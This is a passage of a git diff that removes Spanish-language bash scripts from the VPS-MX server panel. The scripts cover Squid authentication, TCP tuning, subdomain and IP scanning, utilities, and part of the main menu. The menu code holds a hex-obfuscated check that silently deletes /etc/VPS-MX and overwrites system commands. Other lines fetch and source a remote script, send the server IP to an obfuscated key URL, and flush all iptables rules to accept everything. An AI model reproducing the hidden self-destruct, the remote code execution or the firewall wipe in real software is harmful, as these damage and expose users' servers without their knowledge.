-            cat $config_ | grep -v '^acl.*REQUIRED*$' >$tmp_arq
-            mv -f $tmp_arq $config_
-            cat $config_ | grep -v '^http_access.*authenticated*$' >$tmp_arq
-            mv -f $tmp_arq $config_
-            cat $config_ | grep -v '^http_access.*all*$' >$tmp_arq
-            mv -f $tmp_arq $config_
-            echo -e "
- http_access allow all" >>"$config_"
-            rm -f $pwd
-            service $service_ restart >/dev/null 2>&1 &
-            echo -e " \033[1;31m Desautentificasion de Proxy Squid Desactivado"
-            msg -bar
-        }
-    else
-        echo -e "${cor[3]} "Habilitar Autenfificasion de Proxy Squid?""
-        read -p " [S/N]: " -e -i n sshsn
-        [[ "$sshsn" = @(s|S|y|Y) ]] && {
-            msg -bar
-            echo -e " \033[1;36mInstalando Dependencias:"
-            echo "Archivo SQUID PASS" >/usr/bin/squid_log1
-            fun_bar 'apt-get install apache2-utils'
-            msg -bar
-            read -e -p " Tu nombre de usuario deseado: " usrn
-            [[ $usrn = "" ]] &&
-                msg -bar &&
-                echo -e " \033[1;31mEl usuario no puede ser nulo" &&
-                msg -bar &&
-                return 0
-            htpasswd -c $pwd $usrn
-            succes_=$(grep -c "$usrn" $pwd)
-            if [ "$succes_" = "0" ]; then
-                rm -f $pwd
-                msg -bar
-                echo -e " \033[1;31m Error al generar la contrase�a, no se inici� la autenticaci�n de Squid"
-                msg -bar
-                return 0
-            elif [[ "$succes_" = "1" ]]; then
-                cat $config_ | grep -v '^http_access.*all*$' >$tmp_arq
-                mv -f $tmp_arq $config_
-                if [ "$squid_" = "0" ]; then
-                    echo -e "#Password
- auth_param basic program /usr/lib/squid/basic_ncsa_auth /etc/squid/passwd
- auth_param basic realm proxy
- acl authenticated proxy_auth REQUIRED
- http_access allow authenticated
- http_access deny all" >>"$config_"
-                    service squid restart >/dev/null 2>&1 &
-                    update-rc.d squid defaults >/dev/null 2>&1 &
-                elif [ "$squid_" = "1" ]; then
-                    echo -e "#Password
- auth_param basic program /usr/lib/squid3/basic_ncsa_auth /etc/squid3/passwd
- auth_param basic realm proxy
- acl authenticated proxy_auth REQUIRED
- http_access allow authenticated
- http_access deny all" >>"$config_"
-                    service squid3 restart >/dev/null 2>&1 &
-                    update-rc.d squid3 defaults >/dev/null 2>&1 &
-                fi
-                msg -bar
-                service squid restart >/dev/null 2>&1
-                echo -e " \033[1;32m PROTECCION DE PROXY INICIADA"
-                msg -bar
-            fi
-        }
-    fi
-}
-msg -bar
-msg -tit
-msg -ama "            AUTENTIFICAR PROXY SQUID "
-msg -bar
-unset squid_log1
-[[ -e /usr/bin/squid_log1 ]] && squid_log1="\033[1;32m$(source trans -b pt:${id} "ACTIVO")"
-echo -e "${cor[2]} [1] > ${cor[3]}AUTENTIFICAR O DESAUTENTIFICAR PROXY $squid_log1"
-echo -e "${cor[2]} [0] > ${cor[4]}VOLVER"
-msg -bar
-echo -ne "\033[1;37mEscoja una Opcion: "
-read optons
-case $optons in
-0)
-    msg -bar
-    exit
-    ;;
-1)
-    msg -bar
-    squidpass
-    ;;
-esac
-#REINICIANDO VPS-MX (SQUID)
-[[ "$1" = "1" ]] && squidpass
-####_Eliminar_Tmps_####
-[[ -e $_tmp ]] && rm $_tmp
-[[ -e $_tmp2 ]] && rm $_tmp2
-[[ -e $_tmp3 ]] && rm $_tmp3
-[[ -e $_tmp4 ]] && rm $_tmp4

+ 0 - 107
SCRIPT-v8.5x Mod/VPS-MX/herramientas/tcp.sh

@@ -1,107 +0,0 @@
-#!/bin/bash
-clear
-PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
-export PATH
-
-sh_ver="2.0"
-amarillo="\e[33m" && bla="\e[1;37m" && final="\e[0m"
-Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m"
-Info="${Green_font_prefix}[Informacion]${Font_color_suffix}"
-Error="${Red_font_prefix}[Error]${Font_color_suffix}"
-Tip="${Green_font_prefix}[Atencion]${Font_color_suffix}"
-
-remove_all() {
-	sed -i '/net.core.default_qdisc/d' /etc/sysctl.conf
-	sed -i '/net.ipv4.tcp_congestion_control/d' /etc/sysctl.conf
-	echo -e "\e[1;31m ACELERADOR BBR DESINSTALADA\e[0m"
-}
-
-startbbr() {
-	remove_all
-	echo "net.core.default_qdisc=fq" >>/etc/sysctl.conf
-	echo "net.ipv4.tcp_congestion_control=bbr" >>/etc/sysctl.conf
-	sysctl -p
-	echo -e "${Info}¡BBR comenzó con éxito!"
-	msg -bar
-}
-
-#Habilitar BBRplus
-startbbrplus() {
-	remove_all
-	echo "net.core.default_qdisc=fq" >>/etc/sysctl.conf
-	echo "net.ipv4.tcp_congestion_control=bbrplus" >>/etc/sysctl.conf
-	sysctl -p
-	echo -e "${Info}BBRplus comenzó con éxito!!"
-	msg -bar
-}
-
-# Menú de inicio
-start_menu() {
-	clear
-	msg -bar
-	msg -tit
-	echo -e " TCP Aceleración (BBR/Plus) ${Red_font_prefix}By @lacasitamx${Font_color_suffix}
- $(msg -bar)
-  ${Green_font_prefix}[ 1 ]${Font_color_suffix} Acelerar VPS Con BBR ${amarillo}(recomendado)${final}
-  ${Green_font_prefix}[ 2 ]${Font_color_suffix} Acelerar VPS Con BBRplus
-  ${Green_font_prefix}[ 3 ]${Font_color_suffix} Detener Acelerador VPS
-  ${Green_font_prefix}[ 0 ]${Font_color_suffix} Salir del script" && msg -bar
-
-	run_status=$(grep "net.ipv4.tcp_congestion_control" /etc/sysctl.conf | awk -F "=" '{print $2}')
-	if [[ ${run_status} ]]; then
-		echo -e " Estado actual: ${Green_font_prefix}Instalado\n${Font_color_suffix} ${_font_prefix}BBR Comenzó exitosamente${Font_color_suffix} Kernel Acelerado, ${amarillo}${run_status}${Font_color_suffix}"
-	else
-		echo -e " Estado actual: ${Green_font_prefix}No instalado\n${Font_color_suffix} Kernel Acelerado: ${Red_font_prefix}Por favor,instale el Acelerador primero.${Font_color_suffix}"
-	fi
-	msg -bar
-	read -p "$(echo -e "\e[31m► ${bla}Selecione Una Opcion [0-3]:${amarillo}") " num
-	case "$num" in
-	0) ;;
-	1) startbbr ;;
-	2) startbbrplus ;;
-	3) remove_all ;;
-	*)
-		clear
-		echo -e "${Error}:Por favor ingrese el número correcto [0-3]"
-		sleep 1s
-		start_menu
-		;;
-	esac
-}
-
-check_sys() {
-	if [[ -f /etc/redhat-release ]]; then
-		release="centos"
-	elif cat /etc/issue | grep -q -E -i "debian"; then
-		release="debian"
-	elif cat /etc/issue | grep -q -E -i "ubuntu"; then
-		release="ubuntu"
-	elif cat /etc/issue | grep -q -E -i "centos|red hat|redhat"; then
-		release="centos"
-	elif cat /proc/version | grep -q -E -i "debian"; then
-		release="debian"
-	elif cat /proc/version | grep -q -E -i "ubuntu"; then
-		release="ubuntu"
-	elif cat /proc/version | grep -q -E -i "centos|red hat|redhat"; then
-		release="centos"
-	fi
-}
-
-#Verifique la versión de Linux
-check_version() {
-	if [[ -s /etc/redhat-release ]]; then
-		version=$(grep -oE "[0-9.]+" /etc/redhat-release | cut -d . -f 1)
-	else
-		version=$(grep -oE "[0-9.]+" /etc/issue | cut -d . -f 1)
-	fi
-	bit=$(uname -m)
-	if [[ ${bit} = "x86_64" ]]; then
-		bit="x64"
-	else
-		bit="x32"
-	fi
-}
-check_sys
-check_version
-[[ ${release} != "debian" ]] && [[ ${release} != "ubuntu" ]] && [[ ${release} != "centos" ]] && echo -e "${Error} Este script no es compatible con el sistema actual. ${release} !" && exit 1
-start_menu

+ 0 - 93
SCRIPT-v8.5x Mod/VPS-MX/herramientas/ultrahost

@@ -1,93 +0,0 @@
-#!/bin/bash
-#27/06/2021
-clear
-clear
-declare -A cor=([0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m")
-SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
-SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
-SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-subdom() {
-    SUBDOM="$1"
-    [[ "$SUBDOM" = "" ]] && return
-    randomize="$RANDOM"
-    for sites in $(cat $log); do
-        [[ $(echo ${DNS[@]} | grep $sites) = "" ]] && DNS+=($sites)
-        [[ $(echo ${DNS[@]} | grep $sites) != "" ]] && cat $log | grep -v "$sites" >$log
-    done
-    while true; do
-        [[ "$(pidof lynx | wc -w)" -lt "20" ]] && break
-    done
-    (
-        HOST[$randomize]="$SUBDOM"
-        curl -sSL "${HOST[$randomize]}" | grep -Eoi '<a [^>]+>' | grep -Eo 'href="[^\"]+"' | grep -Eo '(http|https)://[a-zA-Z0-9./*]+' | sort -u | awk -F "://" '{print $2}' >>$log
-    ) >/dev/null 2>&1 &
-}
-
-iniciar() {
-    while [[ -z $SUB_DOM ]]; do
-        echo -ne "\033[1;33m$(fun_trans "Introduzca el Dominio para realizar la prueba"): " && read SUB_DOM
-    done
-    [[ -z $limite ]] && echo -ne "\033[1;33m$(fun_trans "Escriba el Limite de Resultados"): " && read limite
-    [[ -z ${limite} ]] && limite="300"
-    msg -bar
-    #CRIA LOG
-    log="./loog" && touch $log
-    #INICIA PRIMEIRA BUSCA
-    _DOM=$(curl -sSL "$SUB_DOM" | grep -Eoi '<a [^>]+>' | grep -Eo 'href="[^\"]+"' | grep -Eo '(http|https)://[a-zA-Z0-9./*]+' | sort -u | awk -F "://" '{print $2}')
-    for _DOMS in $(echo $_DOM); do
-        [[ $(echo ${DNS[@]} | grep ${_DOMS}) = "" ]] && DNS+=(${_DOMS})
-    done
-    #INICIA THREADS
-    i=0
-    while true; do
-        DOMAIN=$(echo "${DNS[$i]}")
-        [[ $DOMAIN = "" ]] && break
-        if [[ $(echo -e "${PESQ[@]}" | grep "$DOMAIN") = "" ]]; then
-            subdom "$DOMAIN"
-            echo -e "\033[1;31m(Scan\033[1;32m $((${#PESQ[@]} + 1))\033[1;31m de \033[1;32m${#DNS[@]}\033[1;31m) - $(fun_trans "Escaneando") ---> \033[1;36mhttp://$DOMAIN\033[1;37m"
-            PESQ+=($DOMAIN)
-        fi
-        [[ "$(echo ${#DNS[@]})" -gt "$limite" ]] && break
-        i=$(($i + 1))
-        sleep 1s
-    done
-    rm $log
-    msg -bar
-    echo -e "\033[1;32m$(fun_trans "Scan Finalizado Inicio de la colección de IPs")\033[1;31m\033[0m"
-    [[ -e $HOME/subresult ]] && rm $HOME/subresult
-    [[ ! -e $HOME/subresult ]] && touch $HOME/subresult
-    for result in $(echo "${DNS[@]}"); do
-        (
-            rand="$RANDOM"
-            dns[rand]="$result"
-            scan[rand]=$(echo ${result} | cut -d'/' -f1)
-            IP[rand]=$(nslookup "${scan[rand]}" | grep -Eo 'Address: [0-9.]+' | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | tail -1) >/dev/null 2>&1
-            echo -e "====================================\nDNS: ${dns[rand]}\nIP: ${IP[rand]}\n====================================" >>$HOME/subresult
-            unset IP
-        ) &
-    done
-    while true; do
-        [[ $(pidof nslookup | wc -w) -lt "1" ]] && break
-    done
-    msg -bar
-    RSLT=$(($(cat $HOME/subresult | wc -l) / 4)) && echo -e "\033[1;32m$RSLT $(fun_trans "Hosts Capturados")\033[0m"
-    msg -bar
-    echo -ne "$(fun_trans "Desea Imprimir Resultados")? [S/N]: "
-    read yn
-    [[ $yn = @(s|S|y|Y) ]] && {
-        echo -ne "\033[1;32m"
-        cat $HOME/subresult | grep -v =
-        echo -e "$barra\033[0m"
-    }
-    return 0
-}
-#INICIA SCRIPT
-msg -bar
-msg -tit
-echo -e "\033[1;33m $(fun_trans "                  SCAN DE SUNDOMINIOS")"
-msg -bar
-iniciar
-[[ $? = "0" ]] &&
-    echo -e "\033[1;32m$(fun_trans "Registro generado en el archivo") $HOME/subresult\033[0m" &&
-    msg -bar

+ 0 - 143
SCRIPT-v8.5x Mod/VPS-MX/herramientas/utils.sh

@@ -1,143 +0,0 @@
-#!/bin/bash
-#27/01/2021
-clear
-clear
-declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
-SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
-SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
-SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-RAM () {
-sudo sync
-sudo sysctl -w vm.drop_caches=3 > /dev/null 2>&1
-msg -ama "   Ram limpiada con Exito!"
-}
-TCPspeed () {
-if [[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]]; then
-#INSTALA
-msg -ama "$(fun_trans "TCP Speed No Activado, Desea Activar Ahora")?"
-msg -bar
-while [[ ${resposta} != @(s|S|n|N|y|Y) ]]; do
-read -p " [S/N]: " -e -i s resposta
-tput cuu1 && tput dl1
-done
-[[ "$resposta" = @(s|S|y|Y) ]] && {
-echo "#ADM" >> /etc/sysctl.conf
-echo "net.ipv4.tcp_window_scaling = 1
-net.core.rmem_max = 16777216
-net.core.wmem_max = 16777216
-net.ipv4.tcp_rmem = 4096 87380 16777216
-net.ipv4.tcp_wmem = 4096 16384 16777216
-net.ipv4.tcp_low_latency = 1
-net.ipv4.tcp_slow_start_after_idle = 0" >> /etc/sysctl.conf
-sysctl -p /etc/sysctl.conf > /dev/null 2>&1
-msg -ama "$(fun_trans "TCP Activo Con Exito")!"
-} || msg -ama "$(fun_trans "Cancelado")!"
- else
-#REMOVE
-msg -ama "$(fun_trans "TCP Speed ya esta activado, desea detener ahora")?"
-msg -bar
-while [[ ${resposta} != @(s|S|n|N|y|Y) ]]; do
-read -p " [S/N]: " -e -i s resposta
-tput cuu1 && tput dl1
-done
-[[ "$resposta" = @(s|S|y|Y) ]] && {
-grep -v "^#ADM
-net.ipv4.tcp_window_scaling = 1
-net.core.rmem_max = 16777216
-net.core.wmem_max = 16777216
-net.ipv4.tcp_rmem = 4096 87380 16777216
-net.ipv4.tcp_wmem = 4096 16384 16777216
-net.ipv4.tcp_low_latency = 1
-net.ipv4.tcp_slow_start_after_idle = 0" /etc/sysctl.conf > /tmp/syscl && mv -f /tmp/syscl /etc/sysctl.conf
-sysctl -p /etc/sysctl.conf > /dev/null 2>&1
-msg -ama "$(fun_trans "TCP Parado Con Exito")!"
-} || msg -ama "$(fun_trans "Cancelado")!"
-fi
-}
-SquidCACHE () {
-msg -ama "$(fun_trans "Squid Cache, Aplica cache en Squid")"
-msg -ama "$(fun_trans "Mejora la velocidad del squid")"
-msg -bar
-if [ -e /etc/squid/squid.conf ]; then
-squid_var="/etc/squid/squid.conf"
-elif [ -e /etc/squid3/squid.conf ]; then
-squid_var="/etc/squid3/squid.conf"
-else
-msg -ama "$(fun_trans "Su sistema no tiene un squid")!" && return 1
-fi
-teste_cache="#CACHE DO SQUID"
-if [[ `grep -c "^$teste_cache" $squid_var` -gt 0 ]]; then
-  [[ -e ${squid_var}.bakk ]] && {
-  msg -ama "$(fun_trans "Cache squid identificado, eliminando")!"
-  mv -f ${squid_var}.bakk $squid_var
-  msg -ama "$(fun_trans "Cache squid Removido")!"
-  service squid restart > /dev/null 2>&1 &
-  service squid3 restart > /dev/null 2>&1 &
-  return 0
-  }
-fi
-msg -ama "$(fun_trans "Aplicando Cache Squid")!"
-msg -bar
-_tmp="#CACHE DO SQUID\ncache_mem 200 MB\nmaximum_object_size_in_memory 32 KB\nmaximum_object_size 1024 MB\nminimum_object_size 0 KB\ncache_swap_low 90\ncache_swap_high 95"
-[[ "$squid_var" = "/etc/squid/squid.conf" ]] && _tmp+="\ncache_dir ufs /var/spool/squid 100 16 256\naccess_log /var/log/squid/access.log squid" || _tmp+="\ncache_dir ufs /var/spool/squid3 100 16 256\naccess_log /var/log/squid3/access.log squid"
-while read s_squid; do
-[[ "$s_squid" != "cache deny all" ]] && _tmp+="\n${s_squid}"
-done < $squid_var
-cp ${squid_var} ${squid_var}.bakk
-echo -e "${_tmp}" > $squid_var
-msg -ama "$(fun_trans "Cache Aplicado con Exito")!"
-service squid restart > /dev/null 2>&1 &
-service squid3 restart > /dev/null 2>&1 &
-}
-timemx () {
-rm -rf /etc/localtime
-ln -s /usr/share/zoneinfo/America/Merida /etc/localtime
-echo -e " $(fun_trans "FECHA LOCAL MX APLICADA!")"
-}
-resetiptables () {
-echo -e "Reiniciando Ipetables espere"
-iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X && iptables -t mangle -F && iptables -t mangle -X && iptables -t raw -F && iptables -t raw -X && iptables -t security -F && iptables -t security -X && iptables -P INPUT ACCEPT && iptables -P FORWARD ACCEPT && iptables -P OUTPUT ACCEPT
-echo -e "iptables reiniciadas con exito"
-}
-packobs () {
-msg -ama "Buscando Paquetes Obsoletos"
-dpkg -l | grep -i ^rc
-msg -ama "Limpiando Paquetes Obsoloteos"
-dpkg -l |grep -i ^rc | cut -d " " -f 3 | xargs dpkg --purge
-msg -ama "Limpieza Completa"
-}
-
-
-on="\033[1;32m[ON]" && off="\033[1;31m[OFF]"
-[[ $(ps x | grep badvpn | grep -v grep | awk '{print $1}') ]] && badvpn=$on || badvpn=$off
-[[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]] && tcp=$off || tcp=$on
-if [ -e /etc/squid/squid.conf ]; then
-[[ `grep -c "^#CACHE DO SQUID" /etc/squid/squid.conf` -gt 0 ]] && squid=$on || squid=$off
-elif [ -e /etc/squid3/squid.conf ]; then
-[[ `grep -c "^#CACHE DO SQUID" /etc/squid3/squid.conf` -gt 0 ]] && squid=$on || squid=$off
-fi
-msg -bar
-msg -tit
-msg -ama "                OPTIMIZADORES BASICOS "
-msg -bar
-echo -ne "\033[1;32m [1] > " && msg -azu "TCP-SPEED $tcp"
-echo -ne "\033[1;32m [2] > " && msg -azu "CACHE PARA SQUID $squid"
-echo -ne "\033[1;32m [3] > " && msg -azu "REFRESCAR RAM"
-echo -ne "\033[1;32m [4] > " && msg -azu "LIMPIAR PAQUETES  OBSOLETOS"
-echo -ne "\033[1;32m [5] > " && msg -azu "$(fun_trans "RESET IPTABLES")"
-echo -ne "$(msg -bar)\n\033[1;32m [0] > " && msg -bra "\e[97m\033[1;41m VOLVER \033[1;37m"
-msg -bar
-while [[ ${arquivoonlineadm} != @(0|[1-5]) ]]; do
-read -p "[0-5]: " arquivoonlineadm
-tput cuu1 && tput dl1
-done
-case $arquivoonlineadm in
-1)TCPspeed;;
-2)SquidCACHE;;
-3)RAM;;
-4)packobs;;
-5)resetiptables;;
-0)exit;;
-esac
-msg -bar

+ 0 - 1
SCRIPT-v8.5x Mod/VPS-MX/idioma

@@ -1 +0,0 @@
-es

+ 0 - 1
SCRIPT-v8.5x Mod/VPS-MX/key.txt

@@ -1 +0,0 @@
-SCRIPT TOTALMENTE FREE

+ 0 - 1289
SCRIPT-v8.5x Mod/VPS-MX/menu

@@ -1,1289 +0,0 @@
-#!/bin/bash
-clear
-clear
-[[ "$(whoami)" != "root" ]] && {
-    echo -e "\033[1;33m[\033[1;31m| NO HAS INICIADO CORRECTAMENTE EL SCRIPT, DEVES INICIAR COMO USUARIO ROOT |\033[1;33m] \033[1;37mDEVES EJECUTAR EL SIGUIENTE COMANDO \033[1;33msudo -i\033[0m"
-    exit 0
-}
-declare -A cor=([0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m")
-sudo sysctl -w net.ipv6.conf.all.disable_ipv6=1 >/dev/null 2>&1
-sudo sysctl -w net.ipv6.conf.default.disable_ipv6=1 >/dev/null 2>&1
-sudo sysctl -w net.ipv6.conf.lo.disable_ipv6=1 >/dev/null 2>&1
-_hora=$(printf '%(%D-%H:%M:%S)T')
-red=$(tput setaf 1)
-gren=$(tput setaf 2)
-yellow=$(tput setaf 3)
-SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
-DIR="/etc/VPS-MX"
-SCPusr="${SCPdir}/controlador"
-SCPfrm="${SCPdir}/herramientas"
-SCPinst="${SCPdir}/protocolos"
-SCPidioma="${SCPdir}/idioma"
-_core=$(printf '%-1s' "$(grep -c cpu[0-9] /proc/stat)")
-_usop=$(top -bn1 | sed -rn '3s/[^0-9]* ([0-9\.]+) .*/\1/p;4s/.*, ([0-9]+) .*/\1/p' | tr '\n' ' ')
-ram1=$(free -h | grep -i mem | awk {'print $2'})
-ram2=$(free -h | grep -i mem | awk {'print $4'})
-ram3=$(free -h | grep -i mem | awk {'print $3'})
-_ram=$(printf ' %-9s' "$(free -h | grep -i mem | awk {'print $2'})")
-_usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')")
-if [[ -e /etc/bash.bashrc-bakup ]]; then
-    AutoRun="\033[1;32m[ON]"
-elif [[ -e /etc/bash.bashrc ]]; then
-    AutoRun="\033[1;31m[OFF]"
-fi
-msg() {
-    [[ ! -e /etc/versin_script ]] && echo 1 >/etc/versin_script
-    v11=$(cat /etc/versin_script_new)
-    v22=$(cat /etc/versin_script)
-    [[ $v11 = $v22 ]] && vesaoSCT="\033[1;37mVersion\033[1;32m $v22 \033[1;31m]" || vesaoSCT="\033[1;31m($v22)\033[1;97m→\033[1;32m($v11)\033[1;31m  ]"
-    aviso_bock() {
-        echo 'echo -e "\033[1;91m————————————————————————————————————————————————————\n       ¡SCRIPT BLOQUEADO ! \n————————————————————————————————————————————————————"' >/usr/bin/menu
-        echo 'echo -e "\033[1;91m————————————————————————————————————————————————————\n       ¡SCRIPT BLOQUEADO ! \n————————————————————————————————————————————————————"' >/usr/bin/VPS-MX
-        rm -rf /etc/VPS-MX
-    }
-    local colors="/etc/VPS-MX/colors"
-    if [[ ! -e $colors ]]; then
-        COLOR[0]='\033[1;37m' #BRAN='\033[1;37m'
-        COLOR[1]='\e[93m'     #VERMELHO='\e[31m'
-        COLOR[2]='\e[32m'     #VERDE='\e[32m'
-        COLOR[3]='\e[31m'     #AMARELO='\e[33m'
-        COLOR[4]='\e[34m'     #AZUL='\e[34m'
-        COLOR[5]='\e[95m'     #MAGENTA='\e[35m'
-        COLOR[6]='\033[1;97m' #MAG='\033[1;36m'
-        COLOR[7]='\033[36m'   #MAG='\033[36m'
-    else
-        local COL=0
-        for number in $(cat $colors); do
-            case $number in
-            1) COLOR[$COL]='\033[1;37m' ;;
-            2) COLOR[$COL]='\e[31m' ;;
-            3) COLOR[$COL]='\e[32m' ;;
-            4) COLOR[$COL]='\e[33m' ;;
-            5) COLOR[$COL]='\e[34m' ;;
-            6) COLOR[$COL]='\e[35m' ;;
-            7) COLOR[$COL]='\033[1;36m' ;;
-            8) COLOR[$COL]='\e[36m' ;;
-            esac
-            let COL++
-        done
-    fi
-    NEGRITO='\e[1m'
-    SEMCOR='\e[0m'
-    case $1 in
-    -ne) cor="${COLOR[1]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}" ;;
-    -ama) cor="${COLOR[3]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}" ;;
-    -verm) cor="${COLOR[3]}${NEGRITO}[!] ${COLOR[1]}" && echo -e "${cor}${2}${SEMCOR}" ;;
-    -verm2) cor="${COLOR[3]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}" ;;
-    -azu) cor="${COLOR[6]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}" ;;
-    -azuc) cor="${COLOR[7]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}" ;;
-    -verd) cor="${COLOR[2]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}" ;;
-    -az) cor="${COLOR[4]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}" ;;
-    -bra) cor="${COLOR[0]}${SEMCOR}" && echo -e "${cor}${2}${SEMCOR}" ;;
-    "-bar2" | "-bar") cor="${COLOR[1]}————————————————————————————————————————————————————" && echo -e "${SEMCOR}${cor}${SEMCOR}" ;;
-    -tit) echo -e "\e[97m \033[1;41m| #-#-►  SCRIPT VPS•MX ◄-#-# | \033[1;49m\033[1;49m \033[1;31m[ \033[1;32m $vesaoSCT " && echo -e "${SEMCOR}${cor}${SEMCOR}" ;;
-    -bar3) $([[ ! -e $(echo -e $(echo "2f7573722f73686172652f6d65646961707472652f6c6f63616c2f6c6f672f6c6f676e756c6c" | sed 's/../\\x&/g;s/$/ /')) ]] && $(aviso_bock >/dev/null 2>&1)) && echo -e "${SEMCOR}${cor}${SEMCOR}" ;;
-    esac
-}
-canbio_color() {
-    clear
-    msg -bar2
-    msg -tit
-    msg -ama "     CONTROLADOR DE COLORES DEL SCRIP VPS-MX"
-    msg -bar2
-    msg -ama "$(fun_trans "Selecione 7 cores"): "
-    echo -e '\033[1;37m [1] ###\033[0m'
-    echo -e '\e[31m [2] ###\033[0m'
-    echo -e '\e[32m [3] ###\033[0m'
-    echo -e '\e[33m [4] ###\033[0m'
-    echo -e '\e[34m [5] ###\033[0m'
-    echo -e '\e[35m [6] ###\033[0m'
-    echo -e '\033[1;36m [7] ###\033[0m'
-    msg -bar2
-    for number in $(echo {1..7}); do
-        msg -ne "$(fun_trans "Digite un Color") [$number]: " && read corselect
-        [[ $corselect != @([1-7]) ]] && corselect=1
-        cores+="$corselect "
-        corselect=0
-    done
-    echo "$cores" >/etc/VPS-MX/colors
-    msg -bar2
-}
-fun_trans() {
-    local texto
-    local retorno
-    declare -A texto
-    SCPidioma="${SCPdir}/idioma"
-    [[ ! -e ${SCPidioma} ]] && touch ${SCPidioma}
-    local LINGUAGE=$(cat ${SCPidioma})
-    [[ -z $LINGUAGE ]] && LINGUAGE=es
-    [[ $LINGUAGE = "es" ]] && echo "$@" && return
-    [[ ! -e /usr/bin/trans ]] && wget -O /usr/bin/trans https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/trans &>/dev/null
-    [[ ! -e /etc/VPS-MX/texto-mx ]] && touch /etc/VPS-MX/texto-mx
-    source /etc/VPS-MX/texto-mx
-    if [[ -z "$(echo ${texto[$@]})" ]]; then
-        retorno="$(source trans -e bing -b es:${LINGUAGE} "$@" | sed -e 's/[^a-z0-9 -]//ig' 2>/dev/null)"
-        echo "texto[$@]='$retorno'" >>/etc/VPS-MX/texto-mx
-        echo "$retorno"
-    else
-        echo "${texto[$@]}"
-    fi
-}
-function_verify() {
-
-    v1=$(curl -sSL "https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/SCRIPT-v8.5x%20Mod/Version")
-    echo "$v1" >/etc/versin_script
-}
-atualiza_fun() {
-    fun_ip
-    SCPinstal="$HOME/install"
-    verificar_arq() {
-        case $1 in
-        "menu" | "message.txt") ARQ="${SCPdir}/" ;;                                                                       #Menu
-        "usercodes") ARQ="${SCPusr}/" ;;                                                                                  #Panel SSRR
-        "C-SSR.sh" | "proxy.sh") ARQ="${SCPinst}/" ;;                                                                     #Panel SSR
-        "openssh.sh") ARQ="${SCPinst}/" ;;                                                                                #OpenVPN
-        "squid.sh") ARQ="${SCPinst}/" ;;                                                                                  #Squid
-        "dropbear.sh") ARQ="${SCPinst}/" ;;                                                                               #Instalacao
-        "openvpn.sh") ARQ="${SCPinst}/" ;;                                                                                #Instalacao
-        "ssl.sh") ARQ="${SCPinst}/" ;;                                                                                    #Instalacao
-        "shadowsocks.sh" | "proxy.sh" | "python.py") ARQ="${SCPinst}/" ;;                                                 #Instalacao
-        "Shadowsocks-libev.sh" | "slowdns.sh") ARQ="${SCPinst}/" ;;                                                       #Instalacao
-        "Shadowsocks-R.sh") ARQ="${SCPinst}/" ;;                                                                          #Instalacao
-        "v2ray.sh") ARQ="${SCPinst}/" ;;                                                                                  #Instalacao
-        "budp.sh") ARQ="${SCPinst}/" ;;                                                                                   #Instalacao
-        "sockspy.sh" | "PDirect.py" | "PPub.py" | "PPriv.py" | "POpen.py" | "PGet.py" | "python.py") ARQ="${SCPinst}/" ;; #Instalacao
-        *) ARQ="${SCPfrm}/" ;;                                                                                            #Herramientas
-        esac
-        mv -f ${SCPinstal}/$1 ${ARQ}/$1
-        chmod +x ${ARQ}/$1
-    }
-    error_fun() {
-        msg -bar2 && msg -verm "ERROR entre VPS<-->GENERADOR (Port 81 TCP)" && msg -bar2
-        [[ -d ${SCPinstal} ]] && rm -rf ${SCPinstal}
-        exit 1
-    }
-    invalid_key() {
-        msg -bar2 && msg -verm "  Code Invalido -- #¡Key Invalida#! " && msg -bar2
-        [[ -e $HOME/lista-arq ]] && rm -r $HOME/lista-arq
-        exit 1
-    }
-    while [[ ! $Key ]]; do
-        clear
-        clear
-        msg -bar
-        msg -tit
-        echo -e "\033[1;91m      ACTUALIZAR FICHEROS DEL SCRIPT VPS-MX"
-        msg -bar2 && msg -ne "\033[1;93m          >>> INTRODUZCA LA KEY ABAJO <<<\n   \033[1;37m" && read Key
-        tput cuu1 && tput dl1
-    done
-    msg -ne "    # Verificando Key # : "
-    cd $HOME
-    wget -O $HOME/lista-arq $(ofus "$Key")/$IP >/dev/null 2>&1 && echo -e "\033[1;32m Code Correcto de KEY" || {
-        echo -e "\033[1;91m Code Incorrecto de KEY"
-        invalid_key
-        exit
-    }
